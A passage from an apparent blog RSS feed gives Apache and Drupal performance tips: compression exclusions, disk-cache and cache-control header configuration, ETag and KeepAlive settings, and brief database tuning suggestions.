&lt;div style=&quot;margin: 7.5pt 0in; line-height: normal;&quot;&gt;&lt;span style=&quot;color: rgb(38, 38, 38); font-size: 9pt;&quot;&gt;SetEnvIfNoCase Request_URI \&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;margin: 7.5pt 0in; line-height: normal;&quot;&gt;&lt;span style=&quot;color: rgb(38, 38, 38); font-size: 9pt;&quot;&gt;\.(?:gif|jpe?g|png)$ no-gzip dont-vary&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;margin: 7.5pt 0in; line-height: normal;&quot;&gt;&lt;span style=&quot;color: rgb(38, 38, 38); font-size: 9pt;&quot;&gt;# Make sure proxies don't deliver the wrong content&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;margin: 7.5pt 0in; line-height: normal;&quot;&gt;&lt;span style=&quot;color: rgb(38, 38, 38); font-size: 9pt;&quot;&gt;Header append Vary User-Agent env=!dont-vary&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;margin: 7.5pt 0in; line-height: normal;&quot;&gt;&lt;span style=&quot;color: rgb(38, 38, 38); font-size: 9pt;&quot;&gt;&amp;lt;/Location&amp;gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;background: white; margin: 12pt 0in;&quot;&gt;&lt;strong&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;Or in latest way use mod_filter as specified in below link&lt;/span&gt;&lt;/strong&gt;&lt;/div&gt;
&lt;div style=&quot;background: white; margin: 12pt 0in; line-height: 12pt;&quot;&gt;&lt;a href=&quot;http://httpd.apache.org/docs/2.2/mod/mod_filter.html&quot;&gt;&lt;font color=&quot;#0000ff&quot;&gt;http://httpd.apache.org/docs/2.2/mod/mod_filter.html&lt;/font&gt;&lt;/a&gt;&lt;/div&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;div style=&quot;background: white; margin: 12pt 0in; line-height: 12pt;&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div style=&quot;background: white; margin: 12pt 0in;&quot;&gt;&lt;strong&gt;&lt;u&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;More on Apache Level Caching&lt;/span&gt;&lt;/u&gt;&lt;/strong&gt;&lt;/div&gt;
&lt;div style=&quot;background: white; margin: 12pt 0in 6pt; line-height: normal;&quot;&gt;&lt;strong&gt;&lt;span style=&quot;color: rgb(38, 38, 38); font-size: 12pt;&quot;&gt;Add the file conf.d/cache.conf to your Apache config: -&lt;/span&gt;&lt;/strong&gt;&lt;/div&gt;
&lt;div style=&quot;margin: 7.5pt 0in; line-height: normal;&quot;&gt;&lt;strong&gt;&lt;span style=&quot;color: rgb(38, 38, 38); font-size: 10pt;&quot;&gt;NEW:&lt;/span&gt;&lt;/strong&gt;&lt;span style=&quot;color: rgb(38, 38, 38); font-size: 10pt;&quot;&gt;&amp;nbsp;We now add&amp;nbsp;&lt;strong&gt;Expires&lt;/strong&gt;&amp;nbsp;headers as well as the&amp;nbsp;&lt;strong&gt;Cache-Control&lt;/strong&gt;headers to ensure optimal caching behavoir in all browsers.&lt;/span&gt;&lt;/div&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;div style=&quot;margin: 7.5pt 0in; line-height: normal;&quot;&gt;&lt;span style=&quot;color: rgb(38, 38, 38); font-size: 9pt;&quot;&gt;# Caching by default options...&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;margin: 7.5pt 0in; line-height: normal;&quot;&gt;&lt;span style=&quot;color: rgb(38, 38, 38); font-size: 9pt;&quot;&gt;# cache static content in local disk cache for performance..&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;margin: 7.5pt 0in; line-height: normal;&quot;&gt;&lt;span style=&quot;color: rgb(38, 38, 38); font-size: 9pt;&quot;&gt;&amp;lt;IfModule !cache_module&amp;gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;margin: 7.5pt 0in; line-height: normal;&quot;&gt;&lt;span style=&quot;color: rgb(38, 38, 38); font-size: 9pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; LoadModule cache_module modules/mod_cache.so&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;margin: 7.5pt 0in; line-height: normal;&quot;&gt;&lt;span style=&quot;color: rgb(38, 38, 38); font-size: 9pt;&quot;&gt;&amp;lt;/IfModule&amp;gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;margin: 7.5pt 0in; line-height: normal;&quot;&gt;&lt;span style=&quot;color: rgb(38, 38, 38); font-size: 9pt;&quot;&gt;&amp;lt;IfModule cache_module&amp;gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;margin: 7.5pt 0in; line-height: normal;&quot;&gt;&lt;span style=&quot;color: rgb(38, 38, 38); font-size: 9pt;&quot;&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;lt;IfModule !disk_cache_module&amp;gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;margin: 7.5pt 0in; line-height: normal;&quot;&gt;&lt;span style=&quot;color: rgb(38, 38, 38); font-size: 9pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;LoadModule disk_cache_module modules/mod_disk_cache.so&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;margin: 7.5pt 0in; line-height: normal;&quot;&gt;&lt;span style=&quot;color: rgb(38, 38, 38); font-size: 9pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;/IfModule&amp;gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;margin: 7.5pt 0in; line-height: normal;&quot;&gt;&lt;span style=&quot;color: rgb(38, 38, 38); font-size: 9pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; CacheRoot /data/apache/cache&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;margin: 7.5pt 0in; line-height: normal;&quot;&gt;&lt;span style=&quot;color: rgb(38, 38, 38); font-size: 9pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; CacheEnable disk /&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;margin: 7.5pt 0in; line-height: normal;&quot;&gt;&lt;span style=&quot;color: rgb(38, 38, 38); font-size: 9pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; CacheDirLevels 5&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;margin: 7.5pt 0in; line-height: normal;&quot;&gt;&lt;span style=&quot;color: rgb(38, 38, 38); font-size: 9pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; CacheDirLength 3&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;margin: 7.5pt 0in; line-height: normal;&quot;&gt;&lt;span style=&quot;color: rgb(38, 38, 38); font-size: 9pt;&quot;&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; CacheIgnoreHeaders Set-Cookie&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;margin: 7.5pt 0in; line-height: normal;&quot;&gt;&lt;span style=&quot;color: rgb(38, 38, 38); font-size: 9pt;&quot;&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;CacheIgnoreQueryString On&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;margin: 7.5pt 0in; line-height: normal;&quot;&gt;&lt;span style=&quot;color: rgb(38, 38, 38); font-size: 9pt;&quot;&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;CacheLock on&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;margin: 7.5pt 0in; line-height: normal;&quot;&gt;&lt;span style=&quot;color: rgb(38, 38, 38); font-size: 9pt;&quot;&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;CacheLockPath /tmp/mod_cache-lock&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;margin: 7.5pt 0in; line-height: normal;&quot;&gt;&lt;span style=&quot;color: rgb(38, 38, 38); font-size: 9pt;&quot;&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;CacheLockMaxAge 5&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;margin: 7.5pt 0in; line-height: normal;&quot;&gt;&lt;span style=&quot;color: rgb(38, 38, 38); font-size: 9pt;&quot;&gt;&amp;lt;/IfModule&amp;gt;&lt;/span&gt;&lt;/div&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;div style=&quot;margin: 7.5pt 0in; line-height: normal;&quot;&gt;&lt;span style=&quot;color: rgb(38, 38, 38); font-size: 9pt;&quot;&gt;# some resonable default caching rules based on filetypes..&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;margin: 7.5pt 0in; line-height: normal;&quot;&gt;&lt;span style=&quot;color: rgb(38, 38, 38); font-size: 9pt;&quot;&gt;# Do not cache html or php&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;margin: 7.5pt 0in; line-height: normal;&quot;&gt;&lt;span style=&quot;color: rgb(38, 38, 38); font-size: 9pt;&quot;&gt;&amp;lt;FilesMatch &amp;quot;\.(?i:html?|php|sh|ksh|pp|rb|pl)$&amp;quot;&amp;gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;margin: 7.5pt 0in; line-height: normal;&quot;&gt;&lt;span style=&quot;color: rgb(38, 38, 38); font-size: 9pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Header set Cache-Control &amp;quot;no-cache, no-store, must-revalidate&amp;quot;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;margin: 7.5pt 0in; line-height: normal;&quot;&gt;&lt;span style=&quot;color: rgb(38, 38, 38); font-size: 9pt;&quot;&gt;&amp;lt;/FilesMatch&amp;gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;margin: 7.5pt 0in; line-height: normal;&quot;&gt;&lt;span style=&quot;color: rgb(38, 38, 38); font-size: 9pt;&quot;&gt;# Cache CSS and JavaScript for 1 day.&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;margin: 7.5pt 0in; line-height: normal;&quot;&gt;&lt;span style=&quot;color: rgb(38, 38, 38); font-size: 9pt;&quot;&gt;&amp;lt;FilesMatch &amp;quot;\.(?i:js|css)$&amp;quot;&amp;gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;margin: 7.5pt 0in; line-height: normal;&quot;&gt;&lt;span style=&quot;color: rgb(38, 38, 38); font-size: 9pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Header set Cache-Control &amp;quot;max-age=86400, public&amp;quot;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;margin: 7.5pt 0in; line-height: normal;&quot;&gt;&lt;span style=&quot;color: rgb(38, 38, 38); font-size: 9pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ExpiresActive On&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;margin: 7.5pt 0in; line-height: normal;&quot;&gt;&lt;span style=&quot;color: rgb(38, 38, 38); font-size: 9pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ExpiresDefault &amp;quot;access plus 1 day&amp;quot;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;margin: 7.5pt 0in; line-height: normal;&quot;&gt;&lt;span style=&quot;color: rgb(38, 38, 38); font-size: 9pt;&quot;&gt;&amp;lt;/FilesMatch&amp;gt;&lt;/span&gt;&lt;/div&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;div style=&quot;margin: 7.5pt 0in; line-height: normal;&quot;&gt;&lt;span style=&quot;color: rgb(38, 38, 38); font-size: 9pt;&quot;&gt;# Cache these files for a day...&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;margin: 7.5pt 0in; line-height: normal;&quot;&gt;&lt;span style=&quot;color: rgb(38, 38, 38); font-size: 9pt;&quot;&gt;&amp;lt;FilesMatch &amp;quot;\.(?i:pdf|swf|txt)$&amp;quot;&amp;gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;margin: 7.5pt 0in; line-height: normal;&quot;&gt;&lt;span style=&quot;color: rgb(38, 38, 38); font-size: 9pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Header set Cache-Control &amp;quot;max-age=86400, public&amp;quot;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;margin: 7.5pt 0in; line-height: normal;&quot;&gt;&lt;span style=&quot;color: rgb(38, 38, 38); font-size: 9pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ExpiresActive On&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;margin: 7.5pt 0in; line-height: normal;&quot;&gt;&lt;span style=&quot;color: rgb(38, 38, 38); font-size: 9pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ExpiresDefault &amp;quot;access plus 1 day&amp;quot;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;margin: 7.5pt 0in; line-height: normal;&quot;&gt;&lt;span style=&quot;color: rgb(38, 38, 38); font-size: 9pt;&quot;&gt;&amp;lt;/FilesMatch&amp;gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;margin: 7.5pt 0in; line-height: normal;&quot;&gt;&lt;span style=&quot;color: rgb(38, 38, 38); font-size: 9pt;&quot;&gt;# Cache icons and shockwave flash for 1 month.&lt;/span&gt;&lt;/div&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;div style=&quot;margin: 7.5pt 0in; line-height: normal;&quot;&gt;&lt;span style=&quot;color: rgb(38, 38, 38); font-size: 9pt;&quot;&gt;&amp;lt;FilesMatch &amp;quot;\.(?i:flv|ico)$&amp;quot;&amp;gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;margin: 7.5pt 0in; line-height: normal;&quot;&gt;&lt;span style=&quot;color: rgb(38, 38, 38); font-size: 9pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Header set Cache-Control &amp;quot;max-age=2678400, public&amp;quot;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;margin: 7.5pt 0in; line-height: normal;&quot;&gt;&lt;span style=&quot;color: rgb(38, 38, 38); font-size: 9pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ExpiresActive On&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;margin: 7.5pt 0in; line-height: normal;&quot;&gt;&lt;span style=&quot;color: rgb(38, 38, 38); font-size: 9pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ExpiresDefault &amp;quot;access plus 1 month&amp;quot;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;margin: 7.5pt 0in; line-height: normal;&quot;&gt;&lt;span style=&quot;color: rgb(38, 38, 38); font-size: 9pt;&quot;&gt;&amp;lt;/FilesMatch&amp;gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;margin: 7.5pt 0in; line-height: normal;&quot;&gt;&lt;span style=&quot;color: rgb(38, 38, 38); font-size: 9pt;&quot;&gt;# Cache images for a month...&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;margin: 7.5pt 0in; line-height: normal;&quot;&gt;&lt;span style=&quot;color: rgb(38, 38, 38); font-size: 9pt;&quot;&gt;&amp;lt;FilesMatch &amp;quot;\.(?i:jpe?g|png|gif|svg)$&amp;quot;&amp;gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;margin: 7.5pt 0in; line-height: normal;&quot;&gt;&lt;span style=&quot;color: rgb(38, 38, 38); font-size: 9pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Header set Cache-Control &amp;quot;max-age=2678400, public&amp;quot;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;margin: 7.5pt 0in; line-height: normal;&quot;&gt;&lt;span style=&quot;color: rgb(38, 38, 38); font-size: 9pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ExpiresActive On&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;margin: 7.5pt 0in; line-height: normal;&quot;&gt;&lt;span style=&quot;color: rgb(38, 38, 38); font-size: 9pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ExpiresDefault &amp;quot;access plus 1 month&amp;quot;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;margin: 7.5pt 0in; line-height: normal;&quot;&gt;&lt;span style=&quot;color: rgb(38, 38, 38); font-size: 9pt;&quot;&gt;&amp;lt;/FilesMatch&amp;gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;margin: 7.5pt 0in; line-height: normal;&quot;&gt;&lt;span style=&quot;color: rgb(38, 38, 38); font-size: 9pt;&quot;&gt;# Cache fonts for a month&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;margin: 7.5pt 0in; line-height: normal;&quot;&gt;&lt;span style=&quot;color: rgb(38, 38, 38); font-size: 9pt;&quot;&gt;&amp;lt;FilesMatch &amp;quot;\.(?i:eot|woff|ttf|otf)$&amp;quot;&amp;gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;margin: 7.5pt 0in; line-height: normal;&quot;&gt;&lt;span style=&quot;color: rgb(38, 38, 38); font-size: 9pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Header set Cache-Control &amp;quot;max-age=2678400, public&amp;quot;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;margin: 7.5pt 0in; line-height: normal;&quot;&gt;&lt;span style=&quot;color: rgb(38, 38, 38); font-size: 9pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ExpiresActive On&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;margin: 7.5pt 0in; line-height: normal;&quot;&gt;&lt;span style=&quot;color: rgb(38, 38, 38); font-size: 9pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ExpiresDefault &amp;quot;access plus 1 month&amp;quot;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;margin: 7.5pt 0in; line-height: normal;&quot;&gt;&lt;span style=&quot;color: rgb(38, 38, 38); font-size: 9pt;&quot;&gt;&amp;lt;/FilesMatch&amp;gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;margin: 7.5pt 0in; line-height: normal;&quot;&gt;&lt;span style=&quot;color: rgb(38, 38, 38); font-size: 9pt;&quot;&gt;# Use a simple ETag without inode in it&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;background: white; margin: 12pt 0in; line-height: 12pt;&quot;&gt;&lt;span style=&quot;color: rgb(38, 38, 38); font-size: 9pt;&quot;&gt;FileETag MTime Size&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;background: white; margin: 0in 0in 0.2in; line-height: 16.5pt;&quot;&gt;&lt;span style=&quot;color: rgb(38, 38, 38); font-size: 10pt;&quot;&gt;This config does three different things to improve speed: -&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;background: white; margin: 0in 0in 10pt; line-height: 16.5pt; text-indent: -0.25in;&quot;&gt;&lt;span style=&quot;color: rgb(38, 38, 38); font-size: 10pt;&quot;&gt;1.&lt;span style=&quot;font: 7pt/normal &amp;quot;Times New Roman&amp;quot;; font-size-adjust: none; font-stretch: normal;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;color: rgb(38, 38, 38); font-size: 10pt;&quot;&gt;Set cache-control headers on files that can be cached and not asked for each time&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;background: white; margin: 0in 0in 10pt; line-height: 16.5pt; text-indent: -0.25in;&quot;&gt;&lt;span style=&quot;color: rgb(38, 38, 38); font-size: 10pt;&quot;&gt;2.&lt;span style=&quot;font: 7pt/normal &amp;quot;Times New Roman&amp;quot;; font-size-adjust: none; font-stretch: normal;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;color: rgb(38, 38, 38); font-size: 10pt;&quot;&gt;Enable the apache disk_cache to cache any page which is declared as cacheable.&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;background: white; margin: 0in 0in 10pt; line-height: 16.5pt; text-indent: -0.25in;&quot;&gt;&lt;span style=&quot;color: rgb(38, 38, 38); font-size: 10pt;&quot;&gt;3.&lt;span style=&quot;font: 7pt/normal &amp;quot;Times New Roman&amp;quot;; font-size-adjust: none; font-stretch: normal;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;color: rgb(38, 38, 38); font-size: 10pt;&quot;&gt;Specify an ETag which does not include the content's file inode.&lt;/span&gt;&lt;/div&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;div style=&quot;background: white; margin: 12pt 0in 13.5pt; line-height: normal;&quot;&gt;&lt;strong&gt;&lt;u&gt;&lt;span style=&quot;color: rgb(38, 38, 38); font-size: 12pt;&quot;&gt;Keep-Alives - ask for things in batches&lt;/span&gt;&lt;/u&gt;&lt;/strong&gt;&lt;/div&gt;
&lt;div style=&quot;background: white; margin: 0in 0in 0.2in; line-height: 16.5pt;&quot;&gt;&lt;span style=&quot;color: rgb(38, 38, 38); font-size: 10pt;&quot;&gt;Keep-Alives also can have a major effect on website performance.&amp;nbsp; They allow a browser to reuse an open TCP/IP connection to load multiple resources from the webserver.&amp;nbsp; Without it, the browser has to close and re-open a new connection for each item it downloads, which is expensive, especially if you are located on a network a long way away from the web server.&amp;nbsp; As even a simple web page can contain 50 or more assets, creating a new connection for each will really slow you down.&amp;nbsp; Rather than turn this off, we want to enable and if then &lt;/span&gt;&lt;span style=&quot;color: rgb(38, 38, 38); font-size: 11.5pt;&quot;&gt;tune it as necessary.&amp;nbsp;&lt;/span&gt;&lt;/div&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;div style=&quot;margin: 7.5pt 0in; line-height: normal;&quot;&gt;&lt;span style=&quot;color: rgb(38, 38, 38); font-size: 9pt;&quot;&gt;#&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;margin: 7.5pt 0in; line-height: normal;&quot;&gt;&lt;span style=&quot;color: rgb(38, 38, 38); font-size: 9pt;&quot;&gt;# KeepAlive: Whether or not to allow persistent connections (more than&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;margin: 7.5pt 0in; line-height: normal;&quot;&gt;&lt;span style=&quot;color: rgb(38, 38, 38); font-size: 9pt;&quot;&gt;# one request per connection). Set to &amp;quot;Off&amp;quot; to deactivate.&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;margin: 7.5pt 0in; line-height: normal;&quot;&gt;&lt;span style=&quot;color: rgb(38, 38, 38); font-size: 9pt;&quot;&gt;#&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;margin: 7.5pt 0in; line-height: normal;&quot;&gt;&lt;strong&gt;&lt;span style=&quot;color: rgb(38, 38, 38); font-size: 9pt;&quot;&gt;KeepAlive On&lt;/span&gt;&lt;/strong&gt;&lt;/div&gt;
&lt;div style=&quot;margin: 7.5pt 0in; line-height: normal;&quot;&gt;&lt;span style=&quot;color: rgb(38, 38, 38); font-size: 9pt;&quot;&gt;#&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;margin: 7.5pt 0in; line-height: normal;&quot;&gt;&lt;span style=&quot;color: rgb(38, 38, 38); font-size: 9pt;&quot;&gt;# MaxKeepAliveRequests: The maximum number of requests to allow&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;margin: 7.5pt 0in; line-height: normal;&quot;&gt;&lt;span style=&quot;color: rgb(38, 38, 38); font-size: 9pt;&quot;&gt;# during a persistent connection. Set to 0 to allow an unlimited amount.&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;margin: 7.5pt 0in; line-height: normal;&quot;&gt;&lt;span style=&quot;color: rgb(38, 38, 38); font-size: 9pt;&quot;&gt;# We recommend you leave this number high, for maximum performance.&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;margin: 7.5pt 0in; line-height: normal;&quot;&gt;&lt;span style=&quot;color: rgb(38, 38, 38); font-size: 9pt;&quot;&gt;#&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;margin: 7.5pt 0in; line-height: normal;&quot;&gt;&lt;span style=&quot;color: rgb(38, 38, 38); font-size: 9pt;&quot;&gt;MaxKeepAliveRequests 100&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;margin: 7.5pt 0in; line-height: normal;&quot;&gt;&lt;span style=&quot;color: rgb(38, 38, 38); font-size: 9pt;&quot;&gt;#&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;margin: 7.5pt 0in; line-height: normal;&quot;&gt;&lt;span style=&quot;color: rgb(38, 38, 38); font-size: 9pt;&quot;&gt;# KeepAliveTimeout: Number of seconds to wait for the next request from the&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;margin: 7.5pt 0in; line-height: normal;&quot;&gt;&lt;span style=&quot;color: rgb(38, 38, 38); font-size: 9pt;&quot;&gt;# same client on the same connection.&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;margin: 7.5pt 0in; line-height: normal;&quot;&gt;&lt;span style=&quot;color: rgb(38, 38, 38); font-size: 9pt;&quot;&gt;#&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;margin: 7.5pt 0in; line-height: normal;&quot;&gt;&lt;span style=&quot;color: rgb(38, 38, 38); font-size: 9pt;&quot;&gt;KeepAliveTimeout 5&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;background: white; margin: 12pt 0in;&quot;&gt;&lt;strong&gt;&lt;u&gt;&lt;span style=&quot;color: rgb(64, 64, 80); font-size: 13.5pt;&quot;&gt;Enable GZIP&lt;/span&gt;&lt;/u&gt;&lt;/strong&gt;&lt;strong&gt;&lt;u&gt;&lt;span style=&quot;color: rgb(64, 64, 80); font-size: 15pt;&quot;&gt;&amp;nbsp;components &lt;/span&gt;&lt;/u&gt;&lt;/strong&gt;&lt;/div&gt;
&lt;div style=&quot;background: white; margin: 12pt 0in;&quot;&gt;&lt;strong&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;Apart From this 4 main things we need to do to increase performance are&lt;/span&gt;&lt;/strong&gt;&lt;/div&gt;
&lt;div style=&quot;background: white; margin: 12pt 0in; line-height: 12pt;&quot;&gt;&lt;span style=&quot;font-size: 10pt;&quot;&gt;1&amp;gt;Convert MyIsam to Innodb for larger database which will enable row level locking for tables than table level which is there in MyIsam case&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;background: white; margin: 12pt 0in; line-height: 12pt;&quot;&gt;&lt;span style=&quot;font-size: 10pt;&quot;&gt;2&amp;gt;Add proper indexing to all required tables which will increase performance substantially and each query will take at-least 3 times lesser time than current time, may be lesser than that.&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;background: white; margin: 12pt 0in; line-height: 12pt;&quot;&gt;&lt;span style=&quot;font-size: 10pt;&quot;&gt;3&amp;gt;Check out for the connection type drupal/mysql is using that is whether its persistent connection or non-persistent connection and how many maximum connections are allowed during particular time.&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;background: white; margin: 12pt 0in; line-height: 12pt;&quot;&gt;&lt;span style=&quot;font-size: 10pt;&quot;&gt;4&amp;gt;Whether your server is shared server or dedicated server and whats the amount of bandwidth assigned to your site if its shared server for particular time.&lt;/span&gt;&lt;/div&gt;</description>
								         <pubDate>Mon, 23 Apr 2012 07:09:43 +0000</pubDate>
								         <guid isPermaLink="false">http://www.nileshpawar.com/54/Tips-to-increase-your-drupal-website-website-performance!!!</guid>
								      </item>								      <item>
								         <title>How to write a webservices using php with json format</title>
								         <link>http://www.nileshpawar.com/53/How-to-write-a-webservices-using-php-with-json-format</link>
